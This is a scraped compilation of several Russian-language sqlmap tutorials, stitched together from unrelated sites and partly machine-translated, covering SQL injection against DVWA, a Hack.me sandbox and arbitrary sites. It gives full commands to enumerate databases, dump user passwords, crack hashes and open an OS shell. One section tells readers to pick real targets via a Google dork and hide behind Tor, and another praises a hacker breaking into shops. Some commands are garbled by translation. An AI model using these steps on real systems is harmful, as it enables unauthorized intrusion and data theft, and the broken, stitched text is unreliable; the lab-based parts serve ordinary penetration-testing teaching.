Sqlmap windows как пользоваться


Как запустить sqlmap на Windows — The Codeby

1 декабря стартует курс "Тестирование Веб-Приложений на проникновение" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. На курс можно записаться до 5 декабря включительно. Подробнее ...

Кстати, о том, как тестировать и взламывать сайты с помощью sqlmap написано в этой статье. А в этой статье, напротив, написано как защищать сайты и базы данных от взлома с sqlmap.

Подготовка для запуска sqlmap: скачивание sqlmap и Python

Для запуска sqlmap под Windows нужно две вещи:

За sqlmap заходим на официальный сайт, или скачиваем по прямой ссылке zip-файл.

За Python'ом заходим на его официальный сайт в раздел загрузок. Там представлены две ветки 3.* и 2.*. Я тоже люблю самые свежие версии, но в данном случае (для запуска sqlmap) нам нужна версия 2.*. На момент скачивания доступна Python 2.7.9.

Установка скаченного файла элементарна. Только запомните, в какой каталог вы его установили.

Так, теперь переходим в каталог с установленным Python. У меня это каталог C:Python27 (думаю, у вас также, если вы не меняли дефолтные значения).

Запустите командную строку (Win+x и в открывшемся окне выберите «Командная строка»). Теперь хватаете файл python.exe (который лежит в каталоге C:Python27) и перетаскиваете его в окно командной строки. В командной строке должно появится полный путь до файла. Дописываете к нему через пробел -v

И нажимаете Enter. Если видите много разной информации, в том числе и о версии, значит всё в порядке. Нажмите Ctrl+c, чтобы выйти.

Запуск sqlmap

Помните наш скаченный архив с sqlmap? Распакуйте его. Теперь в командную строку перетаскиваете файл python.exe, ставите пробел, перетаскиваете в эту же командную строку файл sqlmap.py (из архива с sqlmap) ставите ещё один пробел и пишите -h. У меня получилось так

C:Python27python.exe C:UsersAlexDownloadssqlmapproject-sqlmap-6cc092bsqlma

Основы работы с sqlmap. · Курс молодого CTF бойца v 1.5

Заголовок 12345678890q989q9q8293q8239q839q2398
  • О Проекте
  • О CTF
  • Основные команды Bash
  • Crypto
    • Мануал по методу кодирования base 16/32/64.
    • Шифр Цезаря
    • Шифр простой замены
    • Взлом Rail fence cipher
    • String crypto
    • Шифр Виженера
    • XOR, XORtool
  • Forensic
    • What is 010 Editor?
  • Network
    • Сетевые утилиты
    • Основы работы с sqlmap.
  • Reverse Engineering/PWN
    • Exploiting/PWN
  • Stegano
    • Работа с изображениями
    • Stegsolve
  • Что такое виртуальная машина?
    • Создание виртуальной машины
    • Установка VirtualBox
    • Установка Kali Linux
    • Настройка VirtualBox
    • Настройка виртуальной машины
  • Web
    • Burp Suite
    • Cookie
    • CSRF
    • Chrome Devtools
    • HTTP
    • .git
    • HTTP Headers
    • Local File Inclusion
    • OWASP DirBuster
    • Remote Code Execution
    • Remote File Inclusion
    • robots.txt
    • .svn

Netsparker и SQLmap: сканим сайты на уязвимости. Руководство для самых маленьких и терпеливых.

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ. НАПОМИНАЕМ, ЧТО...

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ. НАПОМИНАЕМ, ЧТО СКАНИРОВАТЬ МОЖНО ТОЛЬКО СВОИ СОБСТВЕННЫЕ СИСТЕМЫ ИЛИ ТЕ, НА СКАНИРОВАНИЕ КОТОРЫХ ВЫ ПРЕДВАРИТЕЛЬНО ПОЛУЧИЛИ РАЗРЕШЕНИЕ. ОПИСАННЫЕ В СТАТЬЕ ИНСТРУМЕНТЫ ИСПОЛЬЗУЮТСЯ ПРОФЕССИОНАЛАМИ ДЛЯ ПРОВЕДЕНИЯ ТЕСТОВ НА ПРОНИКНОВЕНИЕ ПО ВСЕМУ МИРУ. МЫ НЕ РЕКОМЕНДУЕМ ВАМ ИСПОЛЬЗОВАТЬ ИХ ДЛЯ СКАНИРОВАНИЯ ЧУЖИХ СИСТЕМ. СТАТЬЯ НАПИСАНА НЕ АВТОРОМ НАШЕЙ РЕДАКЦИИ И ОПУБЛИКОВАНА НА ПРАВАХ КОНФИДЕНЦИАЛЬНОСТИ ЖУРНАЛИСТКОЙ ТАЙНЫ.

В предыдущих статьях мы уже рассказывали о том, как протестировать сайт на наличие уязвимостей с использованием простейших инструментов.

Сегодня мы будем работать с профессиональным софтом. А именно с Netsprker’ом и SQLmap’ом. Пора отвыкать от соски, в роли которой выступают такие программы как Webcruiser и Albaloo. Для начала предлагаю скачать всё, что мы будем использовать на протяжении всей статьи.

Нельзя не упомянуть, что именно эту “связку” в 2016 году использовал американский хакер Ray Buttler прямо из тюрьмы и добился внушительных результатов, вскрыв несколько подпольных “шопов” и биткоиновых обменок. Прошли те времена, но не стоит забывать, что в 19% веб-приложений есть уязвимости, позволяющие получить контроль как над самим приложением, так и над ОС сервера. Нетспаркер их найдёт.

Работу с софтом будем рассматривать под Windows, поскольку NetSparker работает только на этой платформе. Однако, автор рекомендует использовать Kali Linux и NetSparker на виртуалке.

Netsparker 5.0.0.19747 – Версия, которую использую я.
Netsparker 5.3.0.24388 – Поновее моей, но в целом ничем не отличается кроме возможного дополнительного функционала), поэтому эта статья должна быть актуальной и для этой версии
SQLmap git или Sqlmap Git rar
Python 2.7 (для работы с SQLmap’ом)
Burp Suite

Почему же именно Netsprker и SQLmap?
NetSparker – мощнейший сканер, SqlMap – консольный инструмент эксплуатации найденных уязвимостей.

Netsparker представляет из себя мощный сканер онлайн-ресурсов, сайтов и веб-приложений на ошибки, уязвимости и мелкие недочёты. В ходе работы он генерирует отчет, максимально подробно описывая каждую часть сканируемого ресурса, составляя его “карту”. Гибкие настройки, понятный интерфейс, подсказки и огромная база уязвимостей, плюс уникальный инструмент обнаружения ложных срабатываний делают этот инструмент де-факто лидером индустрии. У него есть и недостатки: NetSparker – тяжеловес, сканирование ресурса может занять часы, но при этом “спаркер” прогонит сайт и все его приложения на наличие всех возможных и невозможных вариантов уязвимостей.

NetSparker далеко не единственный инструмент подобного рода, есть и другие хорошие сканеры типа ZAP, о которых я расскажу в следующий раз.

Поскольку, перед тем, как перейти непосредственно к эксплуатации, уязвимости надо обнаружить, потому сначала мы расскажем о Netsparker. Далее мы рассмотрим основные принципы атаки на эти уязвимости с помощью SQLmap.

Для того, чтобы открыть программу – нужно дважды кликнуть на файл Netsparker.exe. После запуска программы мы видим следующее:

Стартовое окно программы имеет шесть секций, которые нам стоит рассмотреть:

  • 1 – Поле для ввода сканируемого сайта. Кнопка, встроенная в поле ввода (самая правая, с зелёной стрелочкой) открывает сайт который мы ввели ранее. Также нетспаркер запоминает сайты которые мы уже сканировали и нажатием на стрелку вниз, которая находится немного левее кнопки мы можем их увидеть. Очень удобно, если вам вдруг потребуется вернутся к повторному скану предыдущих сайтов.
  • 2 – Для каждого сканируемого сайта программа запоминает настройки (которые мы рассмотрим далее), и этот пункт позволяет сохранить и выбрать настройки сканирования для выбранного сайта. Выглядит следующим образом:

Save Profile – Сохранить настройки
Save As New Profile – Сохранить настройки этого скана отдельно
Default – Стандартное сканирование
Previous Settings – Настройки предыдущего скана

  • 3 – Настройки скана сайта
  • 4 – Настройки аутентификации на сканируемом сайте. Необязательное меню, но очень полезное, если нужно просканировать ресурс через личный кабинет
  • 5 – Поле настроек каждого пункта третьего и четвёртого меню
  • 6 – Кнопка начала работы и кнопка отмены. Стоит упомянуть, что так же этот пункт имеет своё окно “настроек”:

Start Scan – Начало работы. Без заморочек.
Crawl and Wait – Сканирование без атак.
Manual Crawl (Proxy Mode) – Тот же тихий режим, но через прокси. Должен предупредить, что нужно будет установить сертификат:

Scan Imported Links Only – Сканирование только определённых ссылок.
Schedule Scan – сканирование “по расписанию”.

После того, как мы разобрали интерфейс пора приступать к детальному изучению пунктов меню. Сначала рассмотрим третью секцию – Scan Settings. Всего мы видим пять пунктов. Рассмотрим их по порядку

  • General
    Основные настройки.

Для начала рассмотрим Scan Policy. Это правила по которым будет производится сканирование ресурса. С помощью этого пункта можно оптимизировать наш скан, если мы у нас уже есть какая-либо информация о цели. Для этого нужно нажать на ннопку, напоминающую волшебную палочку:

Открывается следующее меню:

Это окно приветствия. Его можно пропустить. Смотрим дальше.

Использование SQLMap | DefconRU

SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.

На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP-10» возглавляют именно SQL инъекции.

Существует 5 основных причин возникновения этой уязвимости:

  1. Недостаточный уровень или отсутствие валидации входных параметров, в особенности пользовательского ввода. «Любой входной параметр — зло»
  2. Необоснованный и слабозащищенный доступ к базам данных. В эту категорию входят такие факторы как: большое количество администраторов и супер-пользователей (root), слабая система аутентификации, большое количество прав для второстепенных администраторов и т.д.
  3. Архитектура. Использование устаревших технологий, отсутствие контрольных мер, пренебрежение методологией «моделирование угроз».
  4. Наследственность заведомо уязвимого кода, использование готовых решений с низким уровнем безопасности.
  5. Отсутствие должного уровня абстрагированности исполняемого кода от данных.

Типы SQL инъекций.

Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap:

  1. Boolean Based Blind SQL Injection
    • Метод, при котором HTTP-запросы и ответы считываются посимвольно для обнаружения уязвимости.
    • Как только уязвимый параметр обнаружен, SQLMap заменяет или добавляет синтаксически правильные операторы SQL, ожидая реакции выполнения этого кода сервером.
    • SQLMap сравнивает оригинальный валидный запрос с ответом от запроса с внедрённым зловредным кодом.
    • SQLMap использует алгоритм деления пополам (bisectional algorithm) для выборки каждого символа ответа с использованием максимум семи HTTP-запросов.
    • Там, где ответ отдаётся не в чистом тексте, SQLMap адаптирует алгоритм большими значениями для определения ответа.
  2. Time-Based Blind SQL Injection
    • Метод Time Based сам по себе предполагает, что существует некоторое сравнение на основе времени запроса и ответа путем инъекции синтаксически правильного оператора SQL в уязвимый параметр.
    • SQLMap использует операторы SQL, которые помещают базу данных в режим ожидания для возврата на определенное количество времени.
    • Использует тот же алгоритм bisectional algorithm, чтобы выводить символ за символом, SQLMap сравнивает время ответа HTTP с исходным запросом.
  3. Error-Based SQL Injection
    • SQLMap использует операторы SQL, которые могут спровоцировать генерацию специфической ошибки.
    • Утилита ищет ошибки в HTTP-ответе сервера.
    • Этот метод работает только в том случае, если веб-приложение настроено на раскрытие сообщений об ошибках.
  4. UNION Query
    • Вводимый SQL оператор UNION ALL SELECT.
    • SQL-инъекция, основанная на запросах UNION, работает на основе поведения приложения, т.е. когда приложение передает результат письменного запроса SELECT через определенный цикл или строку инструкций, которые позволяют выводить выходные данные на содержимое страницы.
    • В случае, если вывод не циклируется через какой-либо цикл for или другую строку операторов, SQLMap использует однократную инъекцию запроса UNION.
  5. Stacked Query
    • Использование сложенных запросов. SQLMap добавляет точку с запятой (;) в значение уязвимого параметра и добавляет инструкцию SQL, которая должна быть выполнена.
    • Используя эту технику, можно выполнять SQL-выражения, отличные от SELECT. Это полезно для манипуляции данными, получения доступа на чтение и запись и, наконец, захвата операционной системой.
  6. Out-Of-Band
    • В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении.
    • Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы, используется для пересылки данных обратно на домен злоумышленника.

Базовое использование SQLMap.

Запуск утилиты (должна находиться в переменной PATH):

$ sqlmap

Или из директории утилиты:

$ python sqlmap.py

Для вызова документации используется ключ «-h / —help»:

$ sqlmap --help
 
 $ python sqlmap.py –help

Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:

  • Перечислить информацию о базе данных, такую как имя, версию и другие детали.
  • Выбрать определённую базу для перечисления информации о имеющихся в ней таблиц.
  • Выбрать таблицу и перечислить информацию о столбцах.
  • Выбрать столбец и перечислить строки для извлечения их значений.
  • Дальнейшая эксплуатация.

Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).

DVWAэто свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL, предназначенное для тренировки навыков пентеста.

Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP-10.

P.S.: Эта практика подразумевает наличие у вас знания основ Linux, начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).

Установка:

  • Скачиваем приложение и следуем инструкциям;
  • Меняем уровень сложности на LOW;
  • Интересуемся только вкладками “SQL Injection”;

Начальные данные:

  • Веб сервер в приватной сети
  • Уязвимый URL: http://yourhost.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Уязвимый параметр: id

Итак, приступим:

  1. Подтверждаем наличие SQL инъекции:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Пояснение к команде:

— url – URL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “-uбез знака равенства.

— cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • Приложение уязвимо к SQL инъекции
  • Тип инъекции – UNION Query
  • Back-end база данных(DBMS) – MySQL5
  • Технические детали ОС — Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Перечисляем названия баз данных:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Пояснение к команде:

—dbs – ключ для перечисления имеющихся баз данных.

Вывод:

Анализ: SQLMap перечислил доступные базы данных (всего 7).

 

  1. Перечисляем названия таблиц (бд — dvwa):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Пояснение к команде:

—D – Указываем интересующую нас базу данных.

—tables – Перечисляем имеющиеся таблицы в бд.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa.

  1. Дальнейшее перечисление названий столбцов таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns

Пояснение к команде:

—T – Указываем интересующую нас таблицу.

—columns – Перечисляем имеющиеся колонки в таблице.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users, бд dvwa.

  1. Перечисляем/вытягиваем значения из таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump
 
 

Пояснение к команде:

-С – Указываем интересующие нас столбцы.

—dump – Вытягиваем значения из перечисленных столбцов.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • SQLMap извлекает записи из указанных столбцов и затем анализирует данные, содержащиеся в этих столбцах.
  • Как только данные распознаются как возможные хэши паролей, SQLMap пытается попытаться взломать хэш, используя различные алгоритмы хеширования.
  • В этом случае хеш — MD5, поэтому с помощью самой первой хеш-техники, которую использует инструмент, он может успешно взламывать хэши и выдавать хорошо отформатированный ответ.
  • Кроме того, инструмент сохраняет перечисленные записи в файле формата «.csv» для дальнейшего использования; Поэтому вам не нужно выгружать данные в текстовый файл или делать скриншот, SQLMap позаботится об этом.
  1. Дальнейшая эксплуатация и захват сервера (ASP, не входит в состав DVWA):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Пояснение к команде:

—data – Указываем параметры для тестирования, передающиеся в POST запросе.

—os—shell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • После подтверждения и эксплуатации SQL-инъекции, SQLMap проверяет, является ли пользователь DBA (Data Base Administrator).
  • После этого инструмент попытался использовать расширенную хранимую процедуру — «xp_cmdshell», которая обычно используется SQL Server 2000.
  • «xp_cmdshell» используется для выполнения заданной командной строки в качестве команды операционной системы. В свою очередь, он выводит результат как стандартный текст.

Преимущества получения более глубокого уровня доступа к системе:

  • Доступ к учетным данным пользователя или хэшам паролей.
  • Интерактивная оболочка, которая позволит вам загружать или выгружать файлы с сервера.
  • Запуск осевых команд (ОS) для изучения внутренней сети.
  • Возможность загрузки малвари.
  • Дальнейшая эксплуатация с помощью Metasploit Framework.
  • Создание и залив бэк-доров.
  1.  SQLMap и SOAP (Simple Object Access Protocol) запросы: Процесс анализа запросов SOAP довольно прост:
    • Захват вашего SOAP-запроса.
    • Сохранение его в текстовый файл вместе с возможными уязвимыми параметрами.
    • Используйте нижеприведенную команду для SQLMap вместе с опцией -p, если вам известен уязвимый параметр:
$ ./sqlmap.py -r So_request.txt -p <vulnerable parameter>
    • SQLMap автоматически проанализирует запрос SOAP и попытается проникнуть в уязвимый параметр.
  1. SQLMap и JSON (JavaScript Object Notation) запросы: В аналогичных сценариях использования SQLMap для SOAP-запросов, JSON-запросы тоже могут анализироваться и эксплуатировать. Для запроса типа JSON, SQLMap предложит вам эксплуатировать уязвимость обнаружив тип запроса JSON в «файле запроса». Как только вы ответите утвердительно, инструмент проанализирует запрос и выберет свой собственный вектор атаки.
  2. SQLMap и прокси-сервер: Корпоративные типы сетей обычно защищены и контролируются с использованием контролируемых прокси-серверов для всего входящего или исходящего трафика. В таких случаях у вас есть возможность добавить параметр прокси прямо к опции SQLMap для связи с целевым URL. Хотя SQLMap является инструментом командной строки, он обменивается данными через HTTP-протокол, следовательно, если вы установите HTTP-прокси для соответствующего интернет-соединения, SQLMap примет его за основу:
$ ./sqlmap.py --proxy=http://<proxy-ip>:<proxy-port>
  1. SQLMap и WAF (Web Application Firewall): WAF является дополнительным уровнем защиты веб-приложений, значительно усложняя анализ и эксплуатацию стандартными методами имеющимися в SQLMap. Для этого существует функция “tamper—script”, которая значительно упрощает работу с веб-приложениями, находящимися за WAF’ом.
  2. SQLMap и анонимность: Если вы хотите скрыть свою личность и представиться анонимом для целевого приложения, вы можете использовать прокси-сервер TOR (The Onion Router). В SQLMap вы можете настроить прокси-сервер TOR для скрытия источника, из которого генерируется трафик или запрос следующими ключами:
    • torпереключение утилиты в режим использования TOR-прокси.
    • tortypeручная настройка протокола TOR-прокси (HTTP/SOCKS4/4a/5).
    • checktorпроверка работоспособности TOR-прокси

Hack.me, Basic SQL инъекция с использованием sqlmap.

Практически любой сайт использует СУБД, в них хранятся ссылки,пользователи,пароли и много другой информации. SQL инъекция это очень популярный вид атаки на web-приложения  основанный на внедрение операторов SQL в запросы.

Допустим у нас есть скрипт который ищет  id в базе данных и выводит это:

$id = $_GET[‘id’];
$query = «SELECT * FROM news WHERE id=$id»;

http://example.org/script.php?id=5 и выполниться следующий запрос SQL:

SELECT * FROM news WHERE id=1

Если запрос не как не фильтруется мы может его видоизменить и послать базе совсем другой запрос  http://example.org/script.php?id=5 UNION SELECT 1 

SELECT * FROM news WHERE id=1 UNION SELECT 1

Это базовый принцип работы SQL инъекции, я не буду здесь разбирать подробности. Конечно я вам рекомендую более глубоко познакомиться с принципом и работой SQL запросов. Имея базовые знания  мы может использовать уже готовые решения для нахождения и эксплуатации SQL-injection. Например известнейшая утилита с открытым кодом SQLMAP.

Что она только не умеет :

  • Полная поддержка  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
  • Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и вне полосная (out-of-band).
  • Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
  • Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
  • Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
  • Поддержка сдампливания записей таблиц БД.
  • И это не все его возможности!

Конечно сразу очень хочется попробовать  ее в деле )) И у нас есть такая законная возможность благодаря отличному sendbox проекту  Hack.me. Где можно попробовать свои силы в  тестировании на проникновении web приложений.

Я нашел подходящий нам sendbox Very basic SQL injection.

Запускаем, переходим по ссылке и попадаем в простую форму входа:

Ну что же, натрави на нее sqlmap:

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php —banner —random-agent —forms —dbs

-u URL сайта.-u URL сайта.
—banner Баннер, получение информации о СУБД.
—dbs Перечислить базы данных СУБД.
—random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent.
—forms  Парсить и тестировать формы на целевой URL.

Отвечаем на всякие вопросы и в итоге получаем с начало информацию  об найденных уязвимостях :

Собственно потом нам предложили воспользоваться ее для получения списка баз данных :

База information_schema стандартная и в ней думаю ничего интересного нету.

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata —tables —forms

-D Указываем базу данных.
—tables Перечислить таблицы базы данных СУБД.

Едим дальше :

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users —columns —forms

Теперь нам осталось только заглянуть в таблицы :

python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users -C username —damp —forms

-T                        Таблица.
-С                        Колонка.
—dump              Сдампить записи таблицы базы данных СУБД.

 

Дальше я думаю вы конечно же разберетесь )))

You have logged in. Here’s my top secret message:

I am a unicorn. SHHH! Don’t tell anyone.

 

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

SQLMAP-Учебник По Первому Инструменту Внедрения SQL

1. Введение

SQL инъекции является обязательным знать хакерский словарь. Вы научились вводить простые запросы, такие как универсальные истинные запросы и запросы, основанные на объединении. Вы можете войти в систему как администратор или получить конфиденциальную информацию из баз данных. Теперь представьте, что эти уязвимости исследованы на автоматизированном уровне. Представьте себе скрипт, который выполняет несколько запросов, извлекает много информации и организует ее. Возможно ли это? Если вы никогда не слышали о каком-либо инструменте SQL Injection, эта статья для вас. В этой статье мы говорим о sqlmap, инструменте, который сканирует формы, находит SQL-уязвимости на HTTP-серверах, делает запросы к БД и, возможно, получает контроль над машиной.

2. Цель

  1. Чтобы представить SQLMAP.
  2. Обучение простому сканированию в формах http (GET / POST)
  3. Чтобы выполнить первую атаку SQL-инъекции.

3. Установка И Требования

В Linux и с установкой Python на компьютере клонируйте репозиторий SQLMAP git.

Код:

git clone --глубина 1 https: / /github.com/sqlmapproject / sqlmap.git sqlmap-dev

Запустите программу со следующей командой, чтобы получить CLI меню справки.
Если все прошло хорошо, теперь вы представлены в меню использования SQLMAP.
ПС.: на windows, я думаю, можно запустить его тоже, на Power Shell и с Python установлен.

4. Как Это Работает

SQLMAP выполняет HTTP-запросы и обрабатывает их ответы. Можно себе представить, мы отправляем несколько HTTP запросов, фильтруем его ответы и анализируем затраченное время. SQLMAP делает очень похожую вещь и суммирует ее в следующих методах (подробнее здесь):

  • слепой на основе логического
  • слепой на основе времени
  • ошибка на основе
  • объединение на основе запросов
  • штабелированные запросы
С помощью этих методов SQLMAP может извлекать имена таблиц, столбцов, строк, и он может заставить SQL server выполнять команды, если у него есть права администрирования для него. Но сначала SQLMAP должен найти уязвимость и надлежащую технику для выполнения. Таким образом, жизненный цикл выполнения SQLMAP можно суммировать в 3 шага:
  1. Поиск Уязвимостей
  2. Сканирование Баз Данных
  3. Взятие Под Контроль
Эти шаги и методы уже автоматизированы и настраиваются. Теперь мы кратко рассмотрим, как его использовать.

5. Ваше Первое Сканирование

Найдите простой URL запроса GET в Google. Это должен быть URL-адрес, который отправляет запрос GET на сервер и требует SQL-запрос, таким образом, мы можем протестировать его для SQL-инъекции. Поместите "inurl id=1", чтобы решить Google dork.

Код:

google.com/search?q=inurl%20id=1

Теперь запустите SQLMAP для проверки этого запроса HTTP GET.

Код:

python sqlmap.py --url [URL_2SCAN]

Я предполагаю, что вы запускаете все внутри терминала из linux. Если эти шаги прошли нормально, теперь вы сканируете запрос GET. Если вам также повезло найти уязвимую форму, SQLMAP сообщит об этой уязвимости и методе. Он должен выглядеть похожим на следующее изображение.


6. Глубокая Информация И Отладка

Теперь, когда вы выполнили первое сканирование с помощью SQLMAP, вы хотите понять, что делает инструмент для получения этой информации. Вы же не хотите, чтобы ваш IP-адрес попал в черный список, не так ли? Не попадайте в неприятности из-за пропуска конфигурации инструмента. Знать, что он делает и контролировать его должным образом.

A. Многословие

Установите уровень детализации на 3. Таким образом, вы будете знать, какие полезные данные SQLMAP отправляет в HTTP-запросе. Вы также будете проинформированы об ответе HTTP. Обратите внимание, какие различные запросы sqlmap запрограммирован для отправки и google методы, чтобы узнать, почему эти полезные нагрузки могут получать информацию так, как они должны. Подумайте, как вы могли бы сделать это в браузере и как вы могли бы написать его.

Код:

python sqlmap.py --url [URL_2SCAN] -v 3

Уровень детализации варьируется от 1 до 6. Уровень 1 является стандартным уровнем. На уровне 6 мы можем видеть заголовки и тело HTTP-запросов и ответов. Некоторые серверы могут отправлять HTTP-код 200 с блокирующим сообщением в теле ответа HTTP. Вы только знаете, что запросы блокируются с уровнем детализации 6.

B. Прокси И User-Agent

Если вы знаете, что такое анонимность , вы также должны знать , что такое прокси, vpnи torи для чего они важны. Короче говоря, без них клиент и сервер общаются напрямую. Если вы настроите один из них, они будут выступать в качестве промежуточного звена в соединении, и ваш IP-адрес не будет предоставлен напрямую. Тогда, теоретически, вы перемещаетесь анонимно.

Вы хотите настроить прокси? Сделать следующее:

Код:

python sqlmap.py --url [URL_2SCAN] --proxy [protocol: //] [host]:[port] python sqlmap.py --url [URL_2SCAN] --proxy https: / / 165.227.19.146:8080 #(например) python sqlmap.py --url [URL_2SCAN] --proxy socks5: / / 136.243.224.116:1080 #(например)

Вы хотите настроить tor? Выполните одно из следующих действий:

Код:

python sqlmap .py -- url [URL_2SCAN] -- tor python sqlmap .py -- url [URL_2SCAN] -- Tor-тип [протокол] -- Tor-порт [Порт]

Обычно сервер не принимает HTTP-запрос, если вы не отправляете user-agent. Таким образом, чтобы подделать запрос с помощью агента пользователя, установите один из них:

Код:

python sqlmap.py --url [URL_2SCAN] --random-agent python sqlmap.py --url [URL_2SCAN] --user-agent=[USER_AGENT]

C. Уровни И Риски

Если вы следовали этому учебнику правильно, вы сделали некоторые сканирования с различным уровнем детализации и заметили, что некоторые запросы были пропущены SQLMAP, потому что они были слишком рискованными или слишком сложными. Как вы можете настроить его, чтобы попробовать их? Настройка уровня риска и выбор номера в указанном диапазоне:

Код:

python sqlmap.py --url [URL_2SCAN] --level [1-5] python sqlmap.py --url [URL_2SCAN] --risk [1-3]

Уровень 1 является стандартным и самым безопасным. Уровень 3 будет запрашивать все возможные запросы.

D. Изучение Базы Данных

Теперь мы знаем, как настроить SQLMAP и знаем, как найти уязвимости. Как извлечь важную информацию из базы данных? Это называется перечисление SQLMAP. Сделать следующее:

Код:

python sqlmap.py --url [URL_2SCAN] --current-user #(get active username) python sqlmap.py --url [URL_2SCAN] --current-db #(get active db) python sqlmap.py --url [URL_2SCAN] -- is-dba #(проверьте, является ли пользователь администратором) python sqlmap.py --url [URL_2SCAN] --users #(получить других пользователей) python sqlmap.py --url [URL_2SCAN] --passwords #(получить пароли пользователей) python sqlmap.py --url [URL_2SCAN] --all #(получить всю возможную информацию)

E. Взятие Под Контроль

Если сканируемая база данных имеет пользователя администратора базы данных, можно выполнять команды от имени администратора. Сделать следующее.

Код:

python sqlmap .py -- url [URL_2SCAN] -- os-shell #( linux server) python sqlmap .py -- url [URL_2SCAN] -- os-cmd [CMD] #( windows server)

Если пользователь не является администратором, команда просто не будет выполняться. Итак, проверьте это!

7. Разное

На этом учебник заканчивается. Обратите внимание, что в этом руководстве не рассматриваются некоторые конфигурации SQLMAP. SQLMAP также способен:

  • Прямое подключение к базе данных (- d)
  • Загрузка HTTP-запроса из файла (- r)
  • Сканирование XML sitemap (-x)
  • Сканирование google dork (g)
  • Разделы реестра Windows (--reg-add, --reg-del, --red-read --reg-key)
  • Чтение и запись файлов на сервере (--file-read, --file-write, --file-dest)
  • Укажите запрос для запроса (--sql-query)

Ссылки На Литературу
  1. официальный сайт
  2. Страницы Github
Учебник по

Sqlmap для начинающих - взлом с помощью sql-инъекции - BinaryTides

Sqlmap

Sqlmap - один из самых популярных и мощных инструментов автоматизации SQL-инъекций. Учитывая уязвимый URL-адрес HTTP-запроса, sqlmap может использовать удаленную базу данных и выполнять множество взломов, например извлекать имена баз данных, таблицы, столбцы, все данные в таблицах и т. Д.

Он может даже читать и записывать файлы в удаленной файловой системе при определенных условиях. Написанный на Python, это один из самых мощных хакерских инструментов.Sqlmap - это метасплоит SQL-инъекций.

Sqlmap включен в дистрибутивы Linux для тестирования пера, такие как kali linux, backtrack, backbox и т. Д. В других дистрибутивах его можно просто загрузить со следующего URL-адреса

http://sqlmap.org/.

